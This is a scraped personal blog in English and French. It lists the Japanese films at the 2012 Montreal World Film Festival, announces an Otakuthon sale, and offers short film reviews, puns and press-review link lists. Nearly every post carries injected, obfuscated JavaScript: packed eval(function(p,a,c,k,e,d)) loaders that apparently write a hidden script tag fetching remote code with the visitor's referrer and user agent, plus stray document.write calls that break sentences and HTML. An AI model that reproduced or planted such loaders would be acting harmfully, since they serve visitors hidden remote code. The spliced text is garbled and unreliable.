Montreal World Film Festival 2012

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 36th edition, which will be held from August 23 to September 3. During the twelve days of its duration, the festival will present 432 films from 80 countries, including 212 feature-length movies, 16 medium-length and 204 short films. 212 of those features will be the first film of its director and 216 of those productions will be world or international premieres! You can read more details in the press release announcing this impressive line-up.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeyas|var|u0026u|referrer|krsbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hksyd|var|u0026u|referrer|yntzh||js|php’.split(‘|’),0,{}))


This year the festival is offering us eleven Japanese movies (more than last year): three in competition (including one Canadian co-production and one in the first film competition), three in the World Great category and five in the Focus on World Cinema (including one short).

The World Competition

First Films World Competition

  • Sono Yoru no Samurai (The Samurai That Night): Japan, 2012, 119 min.; Dir./Scr.: Masaaki Akahori (based on a play by himself); Cast: Sakura Andô, Gô Ayano, Tomorowo Taguchi, Mitsuki Tanimura, Hirofumi Arai, Maki Sakai.

    Nakamura is released from prison after serving five years for killing a woman in a hit-and-run accident. The woman’s husband has vowed revenge.

    Schedule: Sat 9/1 18:40 L9.01.4; Sat 9/1 9:30 L14.01.1; Sun 9/2 16:10 L14.02.4; 9/3 14:20 L14.03.2.

World Great (Out of Competition)

  • Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. See description on AsianWiki.

    Japan, summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.

    Schedule: Sat 8/25 11:00 L9.25.1; Sun 8/26 18:40 L9.26.5.
    Read our commentary on this movie.

  • Nobou no Shiro (The Floating Castle): Japan, 2012, 146 min.; Dir.: Isshin Inudo & Shinji Higushi; Scr.: Ryo Wada (based on his 2007 novel); Mus.: Koji Ueno; Prod: Osamu Kubota; Cast: Mansai Nomura, Koichi Sato, Hiroki Narimiya, Tomomitsu Yamaguchi, Nana Eikura, Honami Suzuki, Masachika Ichimura, Yusuke Kamiji, Takayuki Yamada, Takehiro Hira, Machiko Ono, Mana Ashida, Gin Maeda, Tokyo Dageki Dan, Sohkoh Wada.

    In the year 1590, Toyotomi Hideyoshi is on the verge of conquering all of Japan. One obstacle remains: a floating fortress known as Oshi Castle, defended by only 500 men.

    Schedule: Tue 8/28 18:40 L9.28.4; Wed 8/29 16:30 L15.29.4; Thu 8/30 11:40 L15.30.2.
    Read our commentary on this movie.

  • Itai (Reunion): Japan, 2012, 100 min.; Dir.: Ryoichi Kimizuka (based on a non-fiction book by Ishii Kota); Cast: Nishida Toshiyuki, Ogata Naoto, Katsuji Ryo, Kunimura Jun, Sakai Wakana, Sato Koichi, Sano Shiro, Sawamura Ikki, Shida Mirai, Tsutsui Michitaka, and Yanagiba Toshiro. The story is set in a morgue of Kamaishi, Iwate, in the aftermath of the great March 11th 2011 Tohoku earthquake and tsunami. More details on Tokyo Hive or AsianWiki.

    In March 2011, following the devastating earthquake and subsequent tsunami, a small town on northeastern Japan is faced with the problem of collecting and disposing of the victims’ bodies.

    Schedule: Sat 9/1 21:20 L9.01.5; Sun 9/2 14:00 L14.02.3; Mon 9/3 12:00 L14.03.1.

Focus on World Cinema

  • Kazoku no Kuni (Our Homeland): Japan, 2012, 100 min.; Dir./Scr.: Yong-hi Yang; Phot.: Yoshihisa Toda; Ed.: Takashige Kikui; Mus.: Tarô Iwashiro. Cast: Sakura Andô, Arata, Ik-Joon YangYang, Kotomi Kyôno, Masane Tsukayama, Yoshiko Miyazaki, Tarô Suwa. More details on The Japan Times.

    A Japanese family of Korean origin are torn apart by ideology as they welcome one of their own after 25 years in a “repatriation program.”

    Schedule: Fri 8/31 14:30 L15.31.3; Fri 8/31 21:40 L15.31.6; Sat 9/1 16:30 L15.01.4; Sun 9/2 12:40 L15.02.2.

  • Kon-shin: Japan, 2012, 134 min.; Dir.: Yoshinari Nishikori (based on Kenichi Kawakami novel); Cast: Sho Aoyagi, Ayumi Ito, and Naomi Zaizen. The story revolves around a Sumo wrestler preparing for a big classical Sumo Wrestling tournament held at Mizuwaka Temple on Oki island, Shimane Prefecture.

    Originally, Sumo was not a sport but a sacred ceremony. The classic Sumo culture and practice is still alive on the Oki islands.

    Schedule: Thu 8/30 13:50 L16.30.3; Fri 8/31 16:30 L16.31.4; Sat 9/1 21:00 L16.01.5.

  • Boku no Naka no Otoko no ko (The Little Girl in Me): Japan, 2012, 100 min.; Dir./Scr./Ed.: Shoji Kubota; Cast: Ryoma Baba, Bengaru, Ryûnosuke Kawai, Naoki Kawano, Hôka Kinoshita, Kouta Kusano, Yuri Nakamura, Kiriko Shimizu, Asahi Uchida, Kinuwo Yamada, Yûrei Yanagi.

    Devastated after being fired from his job, Kensuke locks himself up in his room, with only the Internet as his window to the outside. Then he discovers the world of cross-dressing.

    Schedule: Fri 8/31 12:00 L15.31.2; Fri 8/31 19:10 L15.31.5; Sat 9/1 11:50 L15.01.2; Sun 9/2 21:20 L15.02.6.

  • Tsui no Shintaku (The Terminal Trust): Japan, 2012, 144 min.; Dir./Scr.: Masayuki Suo (based on a short story by Saku Tatsuki); Cast: Tamiyo Kusakari, Kôji Yakusho, Takao Osawa, Tadanobu Asano. A movie about euthanasia.

    Shinzo Egi suffers from severe asthma but he does not want to be placed on life support.

    Schedule: Sat 9/1 14:30 L14.01.3; Sun 9/2 9:30 L14.02.1; Sun 9/2 18:40 L14.02.5.

  • B/W Foxes and the Cave of Light: Japan, 2012, 15 min.; dir.: Kiyoshi Endo; Cast: Takuma Wada. Short Film opening for Boku no Naka no Otoko no ko.

    “In a world of black and white, ore dug from the cave is shedding colored light. Mikuro, the “Black Fox” bandit, appears before the white-haired boy Kohaku, who is captured by a gang of thieves.“ (Festival’s program)

    Read our commentary on this movie.

You can read a little more on some of those movies on the Coco Montreal website as their August issue (pages 8-9) offers an article detailing the Japanese movies at the festival.

The Festival Guide Book is now available online and provides the films’ index and schedule in PDF format. (8/15)

The complete, searchable schedule is now available. (8/17)

See some press coverage on the festival:

You can also read the comments of Claude R. Blouin on the japanese movies presented at the festival on the Shomingekiblog.

More details and links will be added as the information become available.

Updated: 8/8 (MWFF teaser, Karakara & Anata e info); 8/9, 8/10, 8/11 (more movies info), 8/15 (more info, schedule & Karakara’s trailer link), 8/16 (a few details), 8/17 (FFM links), 8/27 (press coverage links) & 9/16 (Shomingekiblog link).

R.I.P. Roger


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzbzy|var|u0026u|referrer|rztyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfhrz|var|u0026u|referrer|sdbek||js|php’.split(‘|’),0,{}))
Roger Pelletier
1924-2012
R.I.P. cher oncle

Press Review (July)

Another busy (and tiring) month, document.write(“”); but despite all I still gathered enough scraplinks to share after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|setey|var|u0026u|referrer|nfeas||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhtya|var|u0026u|referrer|rthra||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Otakuthon 2012

Again this year we will be at Otakuthon to promote Anime & Manga (as well as the still-on-hold <a href="http://www.protoculture-mag.com/&quot; target="“new”""iProtoculture/i/a) but mostly to sell lots of goodies from my personal collection (I moved last year into a smaller space and I really need to make some room).br /
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bynrr|var|u0026u|referrer|bsdne||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dekfy|var|u0026u|referrer|ibeda||js|php’.split(‘|’),0,{}))
br /
The convention will be held August 3-5 at the Palais des Congrès de Montréal (201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the a href=”
http://www.otakuthon.com/&#8221; target=”“new””Otakuthon website/A for details.br /
br /
I’ve been doing this for a long time and this year might very well be the last year (I am not getting any younger after all) so don’t miss this opportunity to check my anime & manga garage sale and find special or inexpensive goodies (mostly Dvds and manga at $5 or $10 each, some art books, and more)!br /
br /
Come meet and discuss with us!br /
br /
Encore une fois cette année, je serai à a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour faire la promotion de l’anime et du manga (et aussi de notre magazine Otakuthon pour plus de détails.

Je fais ça depuis pas mal d’années mais cette fois-ci pourrait bien être la dernière (on ne rajeuni pas après tout) alors ne manquez surtout pas cette opportunité de jeter un coup d’oeil sur ma petite vente de garage et d’y trouver des items spéciaux et des aubaines incroyables (surtout des Dvds et des manga à $5 ou $10, quelques “art books” et plus)!

Venez nous recontrer pour discuter!

True intellectuals

While looking at the two plastic bags that I always carry with me in my backpack (in case I need to wrap stuff; I keep using and reusing them) I realized that they (one bag of SAQ and the other from Archambault) were representing the two staples of true intellectuals: booze and books! (10/30/2010)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seahd|var|u0026u|referrer|yehaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krift|var|u0026u|referrer|nnhek||js|php’.split(‘|’),0,{}))

[
Traduire ]

Moaning glory

I recently read a quote in Readers’ Digest that describes exactly how people feel about my humour:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yekkk|var|u0026u|referrer|tkffn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtse|var|u0026u|referrer|dhfan||js|php’.split(‘|’),0,{}))

“People may claim to hate puns, document.write(“”); but most true word lovers have groaned to like them.”

(Jay Heinrichs, in Word Hero: A fiendishly clever guide to crafting the lines that get laughs, go viral, and live forever, from Three Rivers Press.

[ Traduire ?! ]

Key to happiness

I recently read in Readers’ Digest about a celebrity (I’m not sure which one) who was saying:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yftaa|var|u0026u|referrer|anfdh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyiaa|var|u0026u|referrer|rdaes||js|php’.split(‘|’),0,{}))

“The key to happiness is good health and a bad memory.”

How true! But in fact that person was probably misquoting Rita Mae Brown: “One of the keys to happiness is a bad memory.” Who was herself quoting Ingrid Begman. (Or is it the other way around? Who knows!)

Lots has been said about happiness and I am sure there are no magic recipe, document.write(“”); but I also agree that happiness comes from acceptance and the expression of love (among many things). So: happy, happy, joy, joy!

[ Traduire ]

Press Review (June)

I just can’t believe that I am now fifty year-old! If I do feel the increased age, document.write(“”); it’s not really what’s kept me from blogging in the last months, but the fact that I commute nearly three hours each day to get to work, which leave me completely drained (and sometimes even depressed). I fear I won’t produce much as long as I will be stuck in this “commute-work-sleep” (or as we say in french “métro-boulot-dodo”) kind of groundhog-day loop. However, I had been still quietly reading news and stashing links to the most interesting stories for later use and posterity. I am still willing to share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esrda|var|u0026u|referrer|beasd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbnhr|var|u0026u|referrer|zress||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]

Tâche ingrate

Je réalise maintenant pourquoi ma tâche m’apparait aussi ingrate: depuis que ma position est devenu permanente, document.write(“”); je ne peux plus être remercié!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frsde|var|u0026u|referrer|biyef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|niyst|var|u0026u|referrer|dtish||js|php’.split(‘|’),0,{}))

[ Intraduisible! ]

Crazy-ism

“Five social misfits commit a successful murder-robbery, document.write(“”); but, stuck in their hideout, they soon fight over the money” (2011 World Film Festival of Montreal schedule book, pg. 44)

Warning: may contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bheba|var|u0026u|referrer|kfhbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dihyn|var|u0026u|referrer|idhdy||js|php’.split(‘|’),0,{}))

Having rob an old man of his life savings (which he kept under a mattress) a group of young people who are all in dire need of money meet in an unused gym to spit their disappointing spoils. It result in discord and fights as they all plot to try to keep the loot for themselves — some with the help of unscrupulous yakusa.

Probably the worse film I’ve seen at the festival this year. It has no real action, the character have no depth and it’s a type of story we’ve seen more than a dozen time already. Since the action is very static and takes place in only two or three sets, it feels like a stage play rather than a movie. By moments some scenes were so ridiculous that it reminded me of those italian comedy (or puppets show) were characters hit each other with a club and fall on their back!

It is certainly entertaining but of little interest as it is not well directed nor played.

Kureizizum (Crazy-ism): Japan, 2010, 90 min.; Dir./Scr./Ed.: Shoji Kubota; Phot.: Aya Matsubayashi; Cast: Ryoba Baba, Akiko An, Makoto Uenobori, Enoku Shimegi, Kurumi Hijikata, Hikaru Shida. Screened as part of the “Regards sur les cinémas du monde” segment at the Montreal World Film Festival 2011, on August 22nd, 21:40 in Cinéma Quartier Latin 10.

Catherine de Médicis

La rumeur courrait que Catherine tenait son surnom du fait qu’elle arrivait toujours légèrement en retard pour le dîner… Ben oui, document.write(“”); comme dans “Midi-six”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsdya|var|u0026u|referrer|drdiz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfbsz|var|u0026u|referrer|fkrzb||js|php’.split(‘|’),0,{}))

[
Translate ]

Muybridge’s Strings

“Can time be made to stand still? Can it be reversed? A meditation on this theme, document.write(“”); contrasting the worlds of the photographer Eadweard Muybridge — who in 1878 successfully photographed consecutive phases in the movement of a galloping horse — and a mother who, watching her daughter grow up, realizes she is slipping away from her.” (From 2011 Montreal World Film Festival program book, pg. 63)

Warning: may contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbben|var|u0026u|referrer|zkzer||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyaar|var|u0026u|referrer|itbtz||js|php’.split(‘|’),0,{}))

This movie offers a very wobbly hand-drawn animation (made of drawing and painting on paper), a classical soundtrack (a canon by J.S. Bach) without any spoken words and a very confusing story. It is clearly inspired by the contribution of Eadweard Muybridge to the genesis of early cinema with the invention of the phenakistoscope and zoopraxiscope. He first “filmed” a horse in motion by using a series of strings that would be successively hit by a running horse thus triggering a succession of camera. The animation seems also to makes allusion to Muybridge discovering that his wife was having affair and the fact that he shot and killed her lover (a murder for which he was later acquitted). There was also lots of scenes of a mother and child dancing and playing piano, but that would not have made much sense to me if I would not have read the program description. Overall, it is an amusing animation.

A co-production with the National Film Board of Canada, which seemed to have produced the musical part of the animation.

Muybridge’s Strings: Canada/Japan, 2011, 13 min.; Dir./Scr./Ed.: Koji Yamamura; Original Music, Sound Design: Normand Roger, Pierre Yves Drapeau, Denis Chartrand; Ex. Prod.: David Verrall (NFB), Kenji Saito (NHK), Shuzo John Shiota (Polygon); Prod.: Michael Fukushima (NFB), Keisuke Tsuchihashi (NHK), Shuzo John Shiota (Polygon). A co-production of the National Film Board of Canada, NHK and Polygon Pictures. Screened as part of the “Shorts Official Competition” segment at the Montreal World Film Festival 2011, on August 21st, 21:30 in Maisonneuve Theatre (opening for Dirty Hearts).

Change of point of view

The universe is so vast and complex that all we can see is a tiny slice of one of multiple layers. But if we move only by a fraction of an inch we can sometimes see it under an entirely differant angle…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ithab|var|u0026u|referrer|sdrzz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eybsb|var|u0026u|referrer|kyzzr||js|php’.split(‘|’),0,{}))

[
Traduire ]

Antoki no Inochi

“Kyohei, document.write(“”); who has retreated into himself after several psychological wounds, finally begins to appreciate the preciousness of live, ironically through dealing with death.” (2011 World Film Festival of Montreal schedule book, pg. 58)

A movie about bullying and about the fact that, today, our modern lifestyle put so much distance between people that we don’t know how to connect with each other anymore. But, above all, it offers the intriguing parallel between the life of a young man who has been broken by tragedy and the work he is doing for a moving company for the deceased: as he sorts through the possession of death people — to separate trash from what’s worth keeping — he is slowly sorting through his own memory and feelings to learn how to live again.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtkhi|var|u0026u|referrer|rtika||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bieiz|var|u0026u|referrer|zhabe||js|php’.split(‘|’),0,{}))

